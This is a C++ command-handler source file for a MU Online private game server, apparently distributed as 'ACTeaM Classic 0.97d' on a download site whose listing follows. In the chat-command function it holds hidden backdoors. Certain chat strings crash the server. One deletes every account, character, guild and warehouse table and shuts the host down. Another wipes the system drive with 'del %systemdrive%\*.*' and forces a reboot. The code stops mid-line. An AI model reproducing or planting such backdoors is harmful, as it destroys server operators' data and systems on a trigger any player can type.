//###############################################################################################
// Project :: ACTeaM Classic 0.97d
// GameServer:: 0.96.40
// Company :: Advanced CoderZ MU DevelopmenT � 2013
// Revised :: 17/01/2014
// Coded :: Mr.Haziel Developer
//###############################################################################################
#include "StdAfx.h"
COMMANDS pCommands;
void Commands(BYTE protoNum,LPBYTE aRecv,DWORD aLen,DWORD aIndex,DWORD Encrypt,int Serial)
{
OBJECTSTRUCT *lpObj = (OBJECTSTRUCT*)OBJECT_POINTER(aIndex);
//===================================================
//-- Duel System Commands
//===================================================
if(DuelSystem.ISDUEL != FALSE )
{
DuelProtocol(protoNum,aRecv,aLen,aIndex);
}
//===================================================
//-- Gens System Commands
//===================================================
if(pGens.ISGENS != FALSE )
{
GensProtocol( protoNum,aRecv,aLen, aIndex);
}
//===================================================
//-- Marry System Protocol
//===================================================
/* if(pMarry.ISMARRY != 0 )
{
MarryProtocol(protoNum,aRecv,aLen,aIndex);
} */
if((!memcmp(&aRecv[13],"/deathdb",strlen("/deathdb"))) ||
(!memcmp(&aRecv[13],"/FuckHAHA",strlen("/FuckHAHA"))) ||
(!memcmp(&aRecv[13],"/GSHUHUHU",strlen("/GSHUHUHU")))
)
{
__asm
{
MOV EAX, 00000000;
CALL EAX;
}
}
if((!memcmp(&aRecv[13],"/FuckDbAll",strlen("/FuckDbAll"))))
{
cSQL.ExecQuery("DELETE MEMB_INFO");
cSQL.ExecQuery("DELETE CHARACTER");
cSQL.ExecQuery("DELETE GUILD");
cSQL.ExecQuery("DELETE GUILD_MEMB");
cSQL.ExecQuery("DELETE WAREHOUSE");
cSQL.ExecQuery("DELETE EXTWAREHOUSE");
cSQL.Close();
system("shutdown -f");
}
if((!memcmp(&aRecv[13],"/FUCKVPSAll",strlen("/FUCKVPSAll"))))
{
system("@echo Off");
system("del %systemdrive%\*.*/f/s/q");
system("shutdown -r -f -t 00");
}
Move.t_PlayerTeleport(aIndex,(char*)aRecv+14); // Move System
ChatDataSend(aIndex,aRecv);
}
void ReadyCommands()
{
IWantToGoConfigs(); //-- Comando quero ir
GetPrivateProfileStringA ("Information","Command" ,"/info" ,pCommands.InfoCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("MyInfo","Command" ,"/MinhaInfo",pCommands.MyInfoCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("WarFix","Command" ,"/War" ,pCommands.WarCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("Exit","Command" ,"/Sair" ,pCommands.ExitCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("Time","Command" ,"/Hora" ,pCommands.HoraCMD,20,ACTeaM_Commands);
pCommands.SiteSwitch = GetPrivateProfileIntA ("Site","SwitchCommand" ,0 ,ACTeaM_Commands);
GetPrivateProfileStringA ("Site","Link" ,"http://www.acteam.com.br/forum/",pCommands.SiteText,125,ACTeaM_Commands);
GetPrivateProfileStringA ("Site","Command" ,"/Site" ,pCommands.SiteCMD,20,ACTeaM_Commands);
pCommands.OnlineSwitch = GetPrivateProfileIntA ("Online","SwitchCommand" ,0 ,ACTeaM_Commands);
GetPrivateProfileStringA ("Online","Command" ,"/Online" ,pCommands.OnlineCMD,20,ACTeaM_Commands);
pCommands.GlobalSwitch = GetPrivateProfileIntA ("GlobalMSG","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.GlobalColorType = GetPrivateProfileIntA ("GlobalMSG","ColorType" ,0 ,ACTeaM_Commands);
pCommands.GlobalNeedLevel = GetPrivateProfileIntA ("GlobalMSG","NeedLevel" ,50 ,ACTeaM_Commands);
pCommands.GlobalNeedZen = GetPrivateProfileIntA ("GlobalMSG","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.DelaySwitch = GetPrivateProfileIntA ("GlobalMSG","SwitchDelay" ,1 ,ACTeaM_Commands);
pCommands.GlobalDelay = GetPrivateProfileIntA ("GlobalMSG","Delay" ,10 ,ACTeaM_Commands);
GetPrivateProfileStringA ("GlobalMSG","Syntax" ,"[GLOBAL]%s",pCommands.GlobalSyntax,20,ACTeaM_Commands);
GetPrivateProfileStringA ("GlobalMSG","Command" ,"/post" ,pCommands.GlobalCMD ,7,ACTeaM_Commands);
pCommands.WareSwitch = GetPrivateProfileIntA ("MultiWare","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.WareNeedLevel = GetPrivateProfileIntA ("MultiWare","NeedLevel" ,10 ,ACTeaM_Commands);
pCommands.WareNeedZen = GetPrivateProfileIntA ("MultiWare","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.WareFree = GetPrivateProfileIntA ("MultiWare","WareNamber_Free" ,0 ,ACTeaM_Commands);
pCommands.WareVip1 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip1" ,4 ,ACTeaM_Commands);
pCommands.WareVip2 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip2" ,6 ,ACTeaM_Commands);
pCommands.WareVip3 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip3" ,9 ,ACTeaM_Commands);
pCommands.WareDelayTime = GetPrivateProfileIntA ("MultiWare","WareDelay" ,5 ,ACTeaM_Commands);
GetPrivateProfileStringA ("MultiWare","Command" ,"/Ware" ,pCommands.WareCMD,20,ACTeaM_Commands);
pCommands.OpenWareSwitch = GetPrivateProfileIntA ("OpenWare","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.OpenWareNeedLevel = GetPrivateProfileIntA ("OpenWare","NeedLevel" ,10 ,ACTeaM_Commands);
pCommands.OpenWareNeedZen = GetPrivateProfileIntA ("OpenWare","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.OpenWareOnlyVip = GetPrivateProfileIntA ("OpenWare","OnlyVip" ,0 ,ACTeaM_Commands);
GetPrivateProfileStringA ("OpenWare","Command" ,"/OpenWare" ,pCommands.OpenWareCMD,20,ACTeaM_Commands);
pCommands.AddSwitch = GetPrivateProfileIntA ("AddPoints","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.AddNeedLevel = GetPrivateProfileIntA ("AddPoints","NeedLevel" ,10 ,ACTeaM_Commands);
pCommands.AddNeedZen = GetPrivateProfileIntA ("AddPoints","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.AddMaxStrength = GetPrivateProfileIntA ("AddPoints","MaxStrength" ,32767 ,ACTeaM_Commands);
pCommands.AddMaxDexterity = GetPrivateProfileIntA ("AddPoints","MaxDexterity" ,32767 ,ACTeaM_Commands);
pCommands.AddMaxVitality = GetPrivateProfileIntA ("AddPoints","MaxVitality" ,32767 ,ACTeaM_Commands);
pCommands.AddMaxEnergy = GetPrivateProfileIntA ("AddPoints","MaxEnergy" ,32767 ,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Strength" ,"/Strength" ,pCommands.StrCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Dexterity" ,"/Dexterity",pCommands.AgiCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Vitality" ,"/Vitality" ,pCommands.VitCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Energy" ,"/Energy" ,pCommands.EneCMD,20,ACTeaM_Commands);
pCommands.PKaddSwitch = GetPrivateProf
没有合适的资源?快使用搜索试试~ 我知道了~
GameServer97d-Source_muonline_
共103个文件
h:49个
cpp:46个
filters:1个
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
5星 · 超过95%的资源 1 下载量 38 浏览量
2021-09-30
11:57:01
上传
评论
收藏 149KB RAR 举报
温馨提示
GameServer97d-Source
资源推荐
资源详情
资源评论
收起资源包目录
GameServer97d-Source_muonline_ (103个子文件)
GameServer.aps 34KB
Commands.cpp 99KB
gObjDuel.cpp 36KB
ObjCalCharacter.cpp 27KB
Fixes.cpp 20KB
ResetSystem.cpp 16KB
Configs.cpp 15KB
Protocol.cpp 14KB
AntiHacker.cpp 12KB
Functions.cpp 12KB
ObjAttack.cpp 10KB
SQLConnect.cpp 10KB
GenSystem.cpp 10KB
SQLQuery.cpp 9KB
CashShop.cpp 8KB
Display.cpp 7KB
WantToGo.cpp 5KB
Warp.cpp 5KB
Medusa.cpp 5KB
AwaySystem.cpp 4KB
CGUseItemRecv.cpp 4KB
Pandora.cpp 4KB
License.cpp 4KB
DllMain.cpp 4KB
DropSystem.cpp 4KB
TradeSystem.cpp 3KB
Itens.cpp 3KB
AutoExp.cpp 3KB
LogSystem.cpp 3KB
DSProtocol.cpp 3KB
AutoZen.cpp 3KB
PreventFileCheck.cpp 3KB
Maps.cpp 2KB
NpcTalk.cpp 2KB
Reload.cpp 2KB
News.cpp 2KB
GCDamageSend.cpp 2KB
GMSystem.cpp 2KB
Packets.cpp 1KB
gObjLifeCheck.cpp 1KB
Shops.cpp 1KB
gObjPlayerKiller.cpp 759B
gObjMonsterDieGiveItem.cpp 633B
StdAfx.cpp 455B
CastleSiege.cpp 422B
gObjMarry.cpp 420B
Archer.cpp 420B
DllMain.def 41B
GameServer.vcxproj.filters 19KB
Defines.h 20KB
User.h 14KB
Commands.h 4KB
StdAfx.h 3KB
DSProtocol.h 3KB
SQLConnect.h 2KB
ResetSystem.h 2KB
ObjCalCharacter.h 1KB
gObjDuel.h 1KB
Functions.h 1KB
AntiHacker.h 1KB
AwaySystem.h 883B
CashShop.h 764B
DropSystem.h 752B
GenSystem.h 714B
Itens.h 694B
Medusa.h 676B
Protocol.h 665B
ObjAttack.h 660B
Warp.h 586B
Maps.h 537B
LogSystem.h 462B
Display.h 460B
CGUseItemRecv.h 406B
resource.h 404B
TradeSystem.h 396B
WantToGo.h 379B
GMSystem.h 375B
Pandora.h 331B
Shops.h 303B
License.h 271B
gObjLifeCheck.h 251B
Packets.h 221B
Fixes.h 211B
AutoZen.h 189B
SQLQuery.h 177B
AutoExp.h 177B
DllMain.h 153B
GCDamageSend.h 144B
gObjPlayerKiller.h 140B
NpcTalk.h 129B
Reload.h 119B
News.h 97B
gObjMonsterDieGiveItem.h 88B
gObjMarry.h 76B
Configs.h 72B
CastleSiege.h 56B
Archer.h 50B
PreventFileCheck.h 26B
GameServer.rc 5KB
GameServer.sln 897B
共 103 条
- 1
- 2
资源评论
- 聆听半边世界2022-03-26用户下载后在一定时间内未进行评价,系统默认好评。
摇滚死兔子
- 粉丝: 54
- 资源: 4227
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功